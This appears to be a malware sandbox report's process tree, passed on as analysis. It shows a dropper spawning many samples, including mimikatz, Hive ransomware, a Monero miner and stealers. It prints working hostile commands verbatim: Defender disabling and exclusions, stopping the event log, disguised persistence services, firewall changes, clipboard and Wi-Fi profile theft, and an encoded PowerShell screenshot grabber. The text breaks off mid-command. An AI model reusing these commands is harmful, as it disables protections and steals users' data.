C:\Users\Admin\AppData\Local\Temp\Files\Darwin.exe"C:\Users\Admin\AppData\Local\Temp\Files\Darwin.exe"5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\WN0HSu2.exe"C:\Users\Admin\AppData\Local\Temp\Files\WN0HSu2.exe"5⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Checks processor information in registry
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --log-level=36⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome6452241000687 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome6452241000687\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome6452241000687 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x2c0,0x2c4,0x2c8,0x290,0x2cc,0x7ffb0e91dcf8,0x7ffb0e91dd04,0x7ffb0e91dd107⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --log-level=36⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\mport.exe"C:\Users\Admin\AppData\Local\Temp\Files\mport.exe"5⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Guide2018.exe"C:\Users\Admin\AppData\Local\Temp\Files\Guide2018.exe"5⤵
- System Location Discovery: System Language Discovery
- Checks processor information in registry
-
-
C:\Users\Admin\AppData\Local\Temp\Files\clean.exe"C:\Users\Admin\AppData\Local\Temp\Files\clean.exe"5⤵
- Enumerates VirtualBox registry keys
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Looks for VMWare services registry key.
-
-
C:\Users\Admin\AppData\Local\Temp\Files\CFXBypass.exe"C:\Users\Admin\AppData\Local\Temp\Files\CFXBypass.exe"5⤵
- Modifies registry class
-
C:\Users\Admin\AppData\Local\df3e72b6-f044-4e76-9d80-c329718461df\background.exe"C:\Users\Admin\AppData\Local\df3e72b6-f044-4e76-9d80-c329718461df\background.exe"6⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\df3e72b6-f044-4e76-9d80-c329718461df\background.exeC:\Users\Admin\AppData\Local\df3e72b6-f044-4e76-9d80-c329718461df\background.exe7⤵
- Checks processor information in registry
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default"8⤵
- Enumerates system info in registry
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffae525dcf8,0x7ffae525dd04,0x7ffae525dd109⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory="Default"8⤵
- Enumerates system info in registry
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x300,0x304,0x308,0x2fc,0x310,0x7ffae4daf208,0x7ffae4daf214,0x7ffae4daf2209⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\injectorOld.exe"C:\Users\Admin\AppData\Local\Temp\Files\injectorOld.exe"5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\LOIC.exe"C:\Users\Admin\AppData\Local\Temp\Files\LOIC.exe"5⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\Files\JAMMX4im1BtsCSq.exe"C:\Users\Admin\AppData\Local\Temp\Files\JAMMX4im1BtsCSq.exe"5⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Files\JAMMX4im1BtsCSq.exe"6⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\JAMMX4im1BtsCSq.exe"C:\Users\Admin\AppData\Local\Temp\Files\JAMMX4im1BtsCSq.exe"6⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- outlook_office_path
- outlook_win_path
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ME3_setup.exe"C:\Users\Admin\AppData\Local\Temp\Files\ME3_setup.exe"5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\EZFN%20op%20cheats.exe"C:\Users\Admin\AppData\Local\Temp\Files\EZFN%20op%20cheats.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\mimikatz.exe"C:\Users\Admin\AppData\Local\Temp\Files\mimikatz.exe"5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\file.exe"C:\Users\Admin\AppData\Local\Temp\Files\file.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Hive%20Ransomware.exe"C:\Users\Admin\AppData\Local\Temp\Files\Hive%20Ransomware.exe"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c hive.bat >NUL 2>NUL6⤵
-
C:\Windows\SysWOW64\timeout.exetimeout 17⤵
- Delays execution with timeout.exe
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c shadow.bat >NUL 2>NUL6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\sanghyun-guest.exe"C:\Users\Admin\AppData\Local\Temp\Files\sanghyun-guest.exe"5⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9BFC.tmp\sanghyun-guest.bat" "C:\Users\Admin\AppData\Local\Temp\Files\sanghyun-guest.exe""6⤵
-
C:\Windows\explorer.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\DiscordSpotifyBypass.exe"C:\Users\Admin\AppData\Local\Temp\Files\DiscordSpotifyBypass.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\onefile_1044_134094551428688771\DiscordSpotifyBypass.exeC:\Users\Admin\AppData\Local\Temp\Files\DiscordSpotifyBypass.exe6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\AccountBind.exe"C:\Users\Admin\AppData\Local\Temp\Files\AccountBind.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\mkEEuq.exeC:\Users\Admin\AppData\Local\Temp\mkEEuq.exe6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5491342f.bat" "7⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\RuntimeBroker.exe"C:\Users\Admin\AppData\Local\Temp\Files\RuntimeBroker.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\connector1.exe"C:\Users\Admin\AppData\Local\Temp\Files\connector1.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\namu832.exe"C:\Users\Admin\AppData\Local\Temp\Files\namu832.exe"5⤵
-
C:\Users\Admin\AppData\Roaming\namu832.exe"C:\Users\Admin\AppData\Roaming\namu832.exe"6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\game.exe"C:\Users\Admin\AppData\Local\Temp\Files\game.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\builder.exe"C:\Users\Admin\AppData\Local\Temp\Files\builder.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\xmr.exe"C:\Users\Admin\AppData\Local\Temp\Files\xmr.exe"5⤵
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "winmgr"6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "winmgr" binpath= "C:\ProgramData\winmgr\syswinprdrvc.exe" start= "auto"6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "winmgr"6⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\%D0%A4%D0%BE%D1%80%D0%BC%D0%B0%203%D0%9E%D0%A8%D0%91%D0%A0.exe"C:\Users\Admin\AppData\Local\Temp\Files\%D0%A4%D0%BE%D1%80%D0%BC%D0%B0%203%D0%9E%D0%A8%D0%91%D0%A0.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\server.exe"C:\Users\Admin\AppData\Local\Temp\server.exe"6⤵
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\server.exe" "server.exe" ENABLE7⤵
- Modifies Windows Firewall
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Minere.exe"C:\Users\Admin\AppData\Local\Temp\Files\Minere.exe"5⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart6⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart7⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc6⤵
- Launches sc.exe
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 06⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 06⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 06⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 06⤵
- Power Settings
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "Google"6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "Google" binpath= "C:\ProgramData\Chrome\chrome_updater.exe" start= "auto"6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "Google"6⤵
- Launches sc.exe
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\Files\Minere.exe"6⤵
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 37⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Setup_Vreugd_Online_Magneetkaart_1290.exe"C:\Users\Admin\AppData\Local\Temp\Files\Setup_Vreugd_Online_Magneetkaart_1290.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\is-R0E3S.tmp\Setup_Vreugd_Online_Magneetkaart_1290.tmp"C:\Users\Admin\AppData\Local\Temp\is-R0E3S.tmp\Setup_Vreugd_Online_Magneetkaart_1290.tmp" /SL5="$405AA,3451169,56832,C:\Users\Admin\AppData\Local\Temp\Files\Setup_Vreugd_Online_Magneetkaart_1290.exe"6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\EvonExcuter.exe"C:\Users\Admin\AppData\Local\Temp\Files\EvonExcuter.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\EvonExcuter.exe"C:\Users\Admin\AppData\Local\Temp\Files\EvonExcuter.exe"6⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Files\EvonExcuter.exe'"7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Files\EvonExcuter.exe'8⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend8⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   ​ .scr'"7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   ​ .scr'8⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"7⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"7⤵
-
C:\Windows\system32\tasklist.exetasklist /FO LIST8⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"7⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName8⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"7⤵
- Clipboard Data
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-Clipboard8⤵
- Clipboard Data
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"7⤵
-
C:\Windows\system32\tasklist.exetasklist /FO LIST8⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"7⤵
-
C:\Windows\system32\tree.comtree /A /F8⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profile"7⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
C:\Windows\system32\netsh.exenetsh wlan show profile8⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "systeminfo"7⤵
-
C:\Windows\system32\systeminfo.exesysteminfo8⤵
- Gathers system information
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAH